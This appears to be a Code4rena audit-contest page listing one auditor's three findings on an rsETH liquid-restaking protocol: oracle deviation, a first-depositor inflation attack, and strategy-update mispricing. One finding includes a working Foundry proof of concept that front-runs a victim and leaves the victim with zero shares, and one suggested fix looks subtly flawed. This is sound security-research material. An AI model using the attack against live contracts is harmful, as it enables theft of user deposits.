Platform: Code4rena
Start Date: 10/11/2023
Pot Size: $28,000 USDC
Total HM: 5
Participants: 185
Period: 5 days
Judge: 0xDjango
Id: 305
League: ETH
Rank: 8/185
Findings: 3
Award: $983.25
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: m_Rassska
Also found by: 0xDING99YA, Aamir, Bauchibred, CatsSecurity, HChang26, PENGUN, SBSecurity, adriro, almurhasan, anarcheuz, circlelooper, d3e4, deth, jayfromthe13th
902.5718 USDC - $902.57
When users want to depositAsset
and mint rsETH
, the protocol calls getRsETHAmountToMint
which in turn uses an Asset/ETH oracle to calculate how much rsETH
is supposed to be minted.
The protocol integrates Eigenlayer, which currently supports stETH
, rETH
and cbETH
.
The flow looks like so:
function depositAsset( address asset, uint256 depositAmount ) external whenNotPaused nonReentrant onlySupportedAsset(asset) { // checks if (depositAmount == 0) { revert InvalidAmount(); } if (depositAmount > getAssetCurrentLimit(asset)) { revert MaximumDepositLimitReached(); } if (!IERC20(asset).transferFrom(msg.sender, address(this), depositAmount)) { revert TokenTransferFailed(); } // interactions uint256 rsethAmountMinted = _mintRsETH(asset, depositAmount); emit AssetDeposit(asset, depositAmount, rsethAmountMinted); }
The user calls depositAsset
, then _mintRsETH
is called:
function _mintRsETH(address _asset, uint256 _amount) private returns (uint256 rsethAmountToMint) { (rsethAmountToMint) = getRsETHAmountToMint(_asset, _amount); address rsethToken = lrtConfig.rsETH(); // mint rseth for user IRSETH(rsethToken).mint(msg.sender, rsethAmountToMint); }
Which in turn uses getRsETHAmountToMint
to calculate how much rsETH
is supposed to be minted:
function getRsETHAmountToMint( address asset, uint256 amount ) public view override returns (uint256 rsethAmountToMint) { // setup oracle contract address lrtOracleAddress = lrtConfig.getContract(LRTConstants.LRT_ORACLE); ILRTOracle lrtOracle = ILRTOracle(lrtOracleAddress); // calculate rseth amount to mint based on asset amount and asset exchange rate rsethAmountToMint = (amount * lrtOracle.getAssetPrice(asset)) / lrtOracle.getRSETHPrice(); //@audit can be manipulated }
As you can see we use an oracle to get the Asset/ETH price, which is used to calculate rsethAmountToMint
.
The problem arises when a user tries to deposit rETH
to the protocol.
Another issue can be if the price drops below 1e18, as getRSETHPrice
will round down to 0 which will efectively brick depositing, since division by 0 reverts
The rETH/ETH
oracle has a large deviation threshold of 2% and a heartbeat of 24 hours link. Basically the price can move up or down, up to 2% in 24 hours, before a price update is triggered from the oracle. The result is that the on-chain price of will be quite different compared to the true price of rETH
, which in turn will lead to incorrect amount of rsETH
minted to a user.
Since the price can move both up or down, this can either lead to a loss of funds for the user if the price moves down, since he'll be minted less rsETH
, or a loss for the protocol if the price moves up, because the user will be minted more rsETH
.
Manual Review
I'm not sure what the best mitigation would be here.
Oracle
#0 - c4-pre-sort
2023-11-16T18:39:23Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2023-11-16T18:39:33Z
raymondfam marked the issue as duplicate of #32
#2 - c4-pre-sort
2023-11-17T04:57:16Z
raymondfam marked the issue as not a duplicate
#3 - c4-pre-sort
2023-11-17T04:57:35Z
raymondfam marked the issue as duplicate of #609
#4 - c4-judge
2023-12-01T17:43:14Z
fatherGoose1 marked the issue as unsatisfactory: Invalid
#5 - c4-judge
2023-12-08T17:32:42Z
fatherGoose1 marked the issue as duplicate of #584
#6 - c4-judge
2023-12-08T17:48:45Z
fatherGoose1 marked the issue as satisfactory
#7 - c4-judge
2023-12-08T18:55:04Z
fatherGoose1 changed the severity to 3 (High Risk)
🌟 Selected for report: Krace
Also found by: 0xDING99YA, 0xrugpull_detector, Aamir, AlexCzm, Aymen0909, Banditx0x, Bauer, CatsSecurity, GREY-HAWK-REACH, Madalad, Phantasmagoria, QiuhaoLi, Ruhum, SBSecurity, SandNallani, SpicyMeatball, T1MOH, TheSchnilch, adam-idarrha, adriro, almurhasan, ast3ros, ayden, bronze_pickaxe, btk, chaduke, ck, crack-the-kelp, critical-or-high, deth, gumgumzum, jasonxiale, joaovwfreire, ke1caM, m_Rassska, mahdirostami, mahyar, max10afternoon, osmanozdemir1, peanuts, pep7siup, peter, ptsanev, qpzm, rouhsamad, rvierdiiev, spark, twcctop, ubl4nk, wisdomn_, zach, zhaojie
4.6614 USDC - $4.66
The protocol implements it's token rsETH
and mints it to users who deposit stETH
, rETH
or cbETH
(assets), based on several factors:
getAssetPrice
in ETH.rsETH
.This is the function that retrieves the rsETH
price in ETH.
/// @notice Provides RSETH/ETH exchange rate /// @dev calculates based on stakedAsset value received from eigen layer /// @return rsETHPrice exchange rate of RSETH function getRSETHPrice() external view returns (uint256 rsETHPrice) { address rsETHTokenAddress = lrtConfig.rsETH(); uint256 rsEthSupply = IRSETH(rsETHTokenAddress).totalSupply(); //@audit can be manipulated if (rsEthSupply == 0) { return 1 ether; } uint256 totalETHInPool; address lrtDepositPoolAddr = lrtConfig.getContract(LRTConstants.LRT_DEPOSIT_POOL); address[] memory supportedAssets = lrtConfig.getSupportedAssetList(); uint256 supportedAssetCount = supportedAssets.length; for (uint16 asset_idx; asset_idx < supportedAssetCount;) { address asset = supportedAssets[asset_idx]; uint256 assetER = getAssetPrice(asset); uint256 totalAssetAmt = ILRTDepositPool(lrtDepositPoolAddr).getTotalAssetDeposits(asset); totalETHInPool += totalAssetAmt * assetER; unchecked { ++asset_idx; } } return totalETHInPool / rsEthSupply; }
Digging deeper inside getTotalAssetDeposits
:
/// @notice gets the total asset present in protocol /// @param asset Asset address /// @return totalAssetDeposit total asset present in protocol function getTotalAssetDeposits(address asset) public view override returns (uint256 totalAssetDeposit) { (uint256 assetLyingInDepositPool, uint256 assetLyingInNDCs, uint256 assetStakedInEigenLayer) = getAssetDistributionData(asset); return (assetLyingInDepositPool + assetLyingInNDCs + assetStakedInEigenLayer); }
Which in turn calls getAssetDistributionData
:
/// @dev provides asset amount distribution data among depositPool, NDCs and eigenLayer /// @param asset the asset to get the total amount of /// @return assetLyingInDepositPool asset amount lying in this LRTDepositPool contract /// @return assetLyingInNDCs asset amount sum lying in all NDC contract /// @return assetStakedInEigenLayer asset amount staked in eigen layer through all NDCs function getAssetDistributionData(address asset) public view override onlySupportedAsset(asset) returns (uint256 assetLyingInDepositPool, uint256 assetLyingInNDCs, uint256 assetStakedInEigenLayer) { // Question: is here the right place to have this? Could it be in LRTConfig? assetLyingInDepositPool = IERC20(asset).balanceOf(address(this)); uint256 ndcsCount = nodeDelegatorQueue.length; for (uint256 i; i < ndcsCount;) { assetLyingInNDCs += IERC20(asset).balanceOf(nodeDelegatorQueue[i]); assetStakedInEigenLayer += INodeDelegator(nodeDelegatorQueue[i]).getAssetBalance(asset); unchecked { ++i; } } }
The function takes into account the token balance of the LRTDepositBool
for an asset, the token balance of all the nodes in nodeDelegatorQueue
and the assets staked in EigenLayer.
The problem here is that assetLyingInDepositPool = IERC20(asset).balanceOf(address(this));
can very easily be manipulated by transferring the asset token directly to the LRTDepositPool
.
Knowing this, an attacker can very easily execute a first depositor attack to inflate the price of rsETH
to a point, where the equation responsible for calculating how much rsETH
is supposed to be minted will start rounding to 0.
/// @notice View amount of rsETH to mint for given asset amount /// @param asset Asset address /// @param amount Asset amount /// @return rsethAmountToMint Amount of rseth to mint function getRsETHAmountToMint( address asset, uint256 amount ) public view override returns (uint256 rsethAmountToMint) { // setup oracle contract address lrtOracleAddress = lrtConfig.getContract(LRTConstants.LRT_ORACLE); ILRTOracle lrtOracle = ILRTOracle(lrtOracleAddress); // calculate rseth amount to mint based on asset amount and asset exchange rate // Right here -> rsethAmountToMint = (amount * lrtOracle.getAssetPrice(asset)) / lrtOracle.getRSETHPrice(); }
Example: For the example we are assuming the oracle will return a price of 1e18 for simplicity.
Bob is the first depositor of the LRTDepositPool
and calls depositAsset(rETH, 5e18)
.
Alice front runs him, calling depositAsset(rETH, 1)
. When someone first deposits into the pool the price of rsETH
is 1:1, so Alice gets minted 1 rsETH
Immediately after that Alice directly transfers 10e18 rETH
tokens directly to the LRTDepositPool
.
Bob's tx goes through and getRSETHPrice
returns:
totalETHInPool = 10e18 + 1
assetER = 1e18
rsEthSupply 1
rsETHPrice = (10e18 + 1) * 1e18 / 1 rsETHPrice = 10e36
The amount minted to Bob is: rsethAmountToMint = (5e18 * 1e18) / 10e36; which equals 0.5 and Solidity rounds it down to 0.
Bob just transferred 5e18 rETH
and got minted 0 rsETH
, effectively losing his funds
The same attack can occur by transferring tokens directly to node delegators, because getAssetDistributionData
uses:
assetLyingInNDCs += IERC20(asset).balanceOf(nodeDelegatorQueue[i]);
Note that any user, after the attack, depositing less than 10e18 of any asset, will receive 0 rsETH
in return.
Create a new file in src/test
, paste the following inside and run forge test --mt test_infalteRsETHPrice -vvvv
.
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.21; import { BaseTest } from "./BaseTest.t.sol"; import { LRTDepositPool } from "src/LRTDepositPool.sol"; import { RSETHTest, ILRTConfig, UtilLib, LRTConstants } from "./RSETHTest.t.sol"; import { ILRTDepositPool } from "src/interfaces/ILRTDepositPool.sol"; import { TransparentUpgradeableProxy } from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol"; import { ProxyAdmin } from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol"; import {IRSETH} from "../src/interfaces/IRSETH.sol"; contract MockNodeDelegator { function getAssetBalance(address) external pure returns (uint256) { return 1e18; } } // This is the new MockOracle contract MockOracle { address rsETH; address lrtDepositPool; address asset; constructor(address rsETHAddress, address lrtDepositPoolAddress, address assetAddress){ rsETH = rsETHAddress; lrtDepositPool = lrtDepositPoolAddress; asset = assetAddress; } function getRSETHPrice() external view returns (uint256) { uint256 rsEthSupply = IRSETH(rsETH).totalSupply(); if (rsEthSupply == 0) { return 1 ether; } // For testing purposes we hardcode 1e18 as the oracle price uint256 assertEr = 1e18; uint256 totalAssetAmt = ILRTDepositPool(lrtDepositPool).getTotalAssetDeposits(asset); return (totalAssetAmt * assertEr) / rsEthSupply; } function getAssetPrice(address) external pure returns (uint256) { return 1e18; } } contract LRTDepositPoolTest is BaseTest, RSETHTest { LRTDepositPool public lrtDepositPool; function setUp() public virtual override(RSETHTest, BaseTest) { super.setUp(); // deploy LRTDepositPool ProxyAdmin proxyAdmin = new ProxyAdmin(); LRTDepositPool contractImpl = new LRTDepositPool(); TransparentUpgradeableProxy contractProxy = new TransparentUpgradeableProxy( address(contractImpl), address(proxyAdmin), "" ); lrtDepositPool = LRTDepositPool(address(contractProxy)); // initialize RSETH. LRTCOnfig is already initialized in RSETHTest rseth.initialize(address(admin), address(lrtConfig)); vm.startPrank(admin); // add rsETH to LRT config lrtConfig.setRSETH(address(rseth)); // add minter role for rseth to lrtDepositPool rseth.grantRole(rseth.MINTER_ROLE(), address(lrtDepositPool)); vm.stopPrank(); } } contract LRTDepositPoolInitialize is LRTDepositPoolTest { function test_RevertWhenLRTConfigIsZeroAddress() external { vm.expectRevert(UtilLib.ZeroAddressNotAllowed.selector); lrtDepositPool.initialize(address(0)); } function test_InitializeContractsVariables() external { lrtDepositPool.initialize(address(lrtConfig)); assertEq(lrtDepositPool.maxNodeDelegatorCount(), 10, "Max node delegator count is not set"); assertEq(address(lrtConfig), address(lrtDepositPool.lrtConfig()), "LRT config address is not set"); } } contract LRTDepositPoolDepositAsset is LRTDepositPoolTest { address public rETHAddress; function setUp() public override { super.setUp(); // initialize LRTDepositPool lrtDepositPool.initialize(address(lrtConfig)); rETHAddress = address(rETH); // add manager role within LRTConfig vm.startPrank(admin); // This is where we are setting up the MockOracle lrtConfig.setContract(LRTConstants.LRT_ORACLE, address(new MockOracle(address(rseth), address(lrtDepositPool), address(rETH)))); lrtConfig.grantRole(LRTConstants.MANAGER, manager); vm.stopPrank(); } // This is the test function test_infalteRsETHPrice() external { // Alice has 15e18 rETH rETH.mint(address(alice), 15e18); // Alice deposits 1 wei into the protocol vm.startPrank(alice); rETH.approve(address(lrtDepositPool), 15e18); lrtDepositPool.depositAsset(rETHAddress, 1); vm.stopPrank(); // Alice got minted 1 wei rsETH uint256 aliceBalanceAfter = rseth.balanceOf(address(alice)); assertEq(aliceBalanceAfter, 1, "Alice rsETH balance after deposit"); // There is 1 wei rETH in the LrtDepositPool assertEq(lrtDepositPool.getTotalAssetDeposits(rETHAddress), 1, "Total asset deposits"); // There is 1 wei rsETH minted assertEq(rseth.totalSupply(), 1, "rsETH total supply"); // Alice transfers 10e18 rETH directly to the LrtDepositPool vm.prank(alice); rETH.transfer(address(lrtDepositPool), 10e18); // The LrtDepositPool now has 10e18 + 1 rETH (The 1 wei isn't really important) assertEq(lrtDepositPool.getTotalAssetDeposits(rETHAddress), 10e18 + 1, "Total rETH deposits after Alice"); // Bob has 5e18 rETH rETH.mint(address(bob), 5e18); uint256 bobRETHBalanceBefore = rETH.balanceOf(address(bob)); // Bob's rsETH before the deposit uint256 bobRSETHBalanceBefore = rseth.balanceOf(address(bob)); // Bob deposits 5e18 rETH into the LrtDepositPool vm.startPrank(address(bob)); rETH.approve(address(lrtDepositPool), 5e18); lrtDepositPool.depositAsset(rETHAddress, 5e18); vm.stopPrank(); // Bob's rsETH after the deposit uint256 bobRSETHBalanceAfter = rseth.balanceOf(address(bob)); uint256 bobRETHBalanceAfter = rETH.balanceOf(address(bob)); // You can see that Bob still has no rsETH even though he deposited 5e18 rETH assertEq(bobRSETHBalanceAfter, 0, "Bob balance after is 0"); assertEq(bobRSETHBalanceAfter, bobRSETHBalanceBefore, "Bob balance after is 0"); // But his tokens were transfered assertEq(lrtDepositPool.getTotalAssetDeposits(rETHAddress), 15e18 + 1, "Total rETH deposits after Bob"); assertGt(bobRETHBalanceBefore, bobRETHBalanceAfter); assertEq(bobRETHBalanceBefore - bobRETHBalanceAfter, 5e18); } }
Manual Review Foundry
Consider minting rsETH
to the 0 address when the first deposit occurs to dilute the shares.
Math
#0 - c4-pre-sort
2023-11-16T20:38:25Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2023-11-16T20:38:36Z
raymondfam marked the issue as duplicate of #42
#2 - c4-judge
2023-12-01T17:06:02Z
fatherGoose1 marked the issue as satisfactory
🌟 Selected for report: crack-the-kelp
Also found by: 0xDING99YA, 0xffchain, Aymen0909, Bauchibred, DanielArmstrong, Pechenite, Stormy, T1MOH, ZanyBonzy, ast3ros, bLnk, chaduke, crack-the-kelp, deepkin, deth, jasonxiale, jayfromthe13th, lsaudit, nmirchev8, osmanozdemir1, roleengineer, tallo, zhaojie
76.0163 USDC - $76.02
One of variables that determines the price of rsETH
is how tokens from the assets are deposited in different strategies in EigenLayer.
function getRSETHPrice() external view returns (uint256 rsETHPrice) { address rsETHTokenAddress = lrtConfig.rsETH(); uint256 rsEthSupply = IRSETH(rsETHTokenAddress).totalSupply(); //@audit can be manipulated if (rsEthSupply == 0) { return 1 ether; } uint256 totalETHInPool; address lrtDepositPoolAddr = lrtConfig.getContract(LRTConstants.LRT_DEPOSIT_POOL); address[] memory supportedAssets = lrtConfig.getSupportedAssetList(); uint256 supportedAssetCount = supportedAssets.length; for (uint16 asset_idx; asset_idx < supportedAssetCount;) { address asset = supportedAssets[asset_idx]; uint256 assetER = getAssetPrice(asset); -> uint256 totalAssetAmt = ILRTDepositPool(lrtDepositPoolAddr).getTotalAssetDeposits(asset); totalETHInPool += totalAssetAmt * assetER; unchecked { ++asset_idx; } } return totalETHInPool / rsEthSupply; }
This function retrieves all the asset tokens the protocol holds and have deposited to EigenLayer.
function getTotalAssetDeposits(address asset) public view override returns (uint256 totalAssetDeposit) { (uint256 assetLyingInDepositPool, uint256 assetLyingInNDCs, uint256 assetStakedInEigenLayer) = getAssetDistributionData(asset); return (assetLyingInDepositPool + assetLyingInNDCs + assetStakedInEigenLayer); } function getAssetDistributionData(address asset) public view override onlySupportedAsset(asset) returns (uint256 assetLyingInDepositPool, uint256 assetLyingInNDCs, uint256 assetStakedInEigenLayer) { // Question: is here the right place to have this? Could it be in LRTConfig? assetLyingInDepositPool = IERC20(asset).balanceOf(address(this)); uint256 ndcsCount = nodeDelegatorQueue.length; for (uint256 i; i < ndcsCount;) { assetLyingInNDCs += IERC20(asset).balanceOf(nodeDelegatorQueue[i]); -> assetStakedInEigenLayer += INodeDelegator(nodeDelegatorQueue[i]).getAssetBalance(asset); unchecked { ++i; } } }
This is the function that retrieves how many tokens has the node delegator deposited to a strategy in EigenLayer.
/// @dev Returns the balance of an asset that the node delegator has deposited into the strategy /// @param asset the asset to get the balance of /// @return stakedBalance the balance of the asset function getAssetBalance(address asset) external view override returns (uint256) { address strategy = lrtConfig.assetStrategy(asset); return IStrategy(strategy).userUnderlyingView(address(this)); }
As you can see each asset has one strategy associated with it.
So now let's imagine that updateAssetStrategy
is called while there are still tokens inside the previous strategy.
/// @dev Updates the strategy for an asset /// @param asset Asset address /// @param strategy New strategy address function updateAssetStrategy( address asset, address strategy ) external onlyRole(DEFAULT_ADMIN_ROLE) onlySupportedAsset(asset) { UtilLib.checkNonZeroAddress(strategy); if (assetStrategy[asset] == strategy) { revert ValueAlreadyInUse(); } assetStrategy[asset] = strategy; }
If that strategy is a new one, meaning that node delegators haven't deposited to it yet, getAssetBalance
will return 0, effectively lowering the price of rsETH
.
Note that the README of the contest, doesn't state anything about any role being trusted.
LRTDepositPool
has several node delegators in it's queue.stETH
to the LRTDepositPool
.transferAssetToNodeDelegator
is called and the tokens are moved to a node delegator.depositAssetIntoStrategy
is called and the funds are moved to a strategy in EigenLayer.updateAssetStrategy
is called and the strategy for stETH
is changed to a different one.getRSETHPrice
will drop dramatically, since all calls to getAssetBalance
will return 0.rETH
or any other asset and is minted much more rsETH
, because the price moved down.Manual Review
Add a similar check inside updateAssetStrategy
function updateAssetStrategy( address asset, address strategy ) external onlyRole(DEFAULT_ADMIN_ROLE) onlySupportedAsset(asset) { -> address strategy = assetStrategy[asset]; -> if (IStrategy(strategy).userUnderlyingView(address(this)) != 0) revert("Tokens still in strategy"); UtilLib.checkNonZeroAddress(strategy); if (assetStrategy[asset] == strategy) { revert ValueAlreadyInUse(); } assetStrategy[asset] = strategy; }
Other
#0 - c4-pre-sort
2023-11-16T18:39:58Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2023-11-16T18:40:09Z
raymondfam marked the issue as duplicate of #197
#2 - c4-judge
2023-12-01T17:24:55Z
fatherGoose1 marked the issue as unsatisfactory: Invalid
#3 - c4-judge
2023-12-08T17:26:00Z
fatherGoose1 marked the issue as satisfactory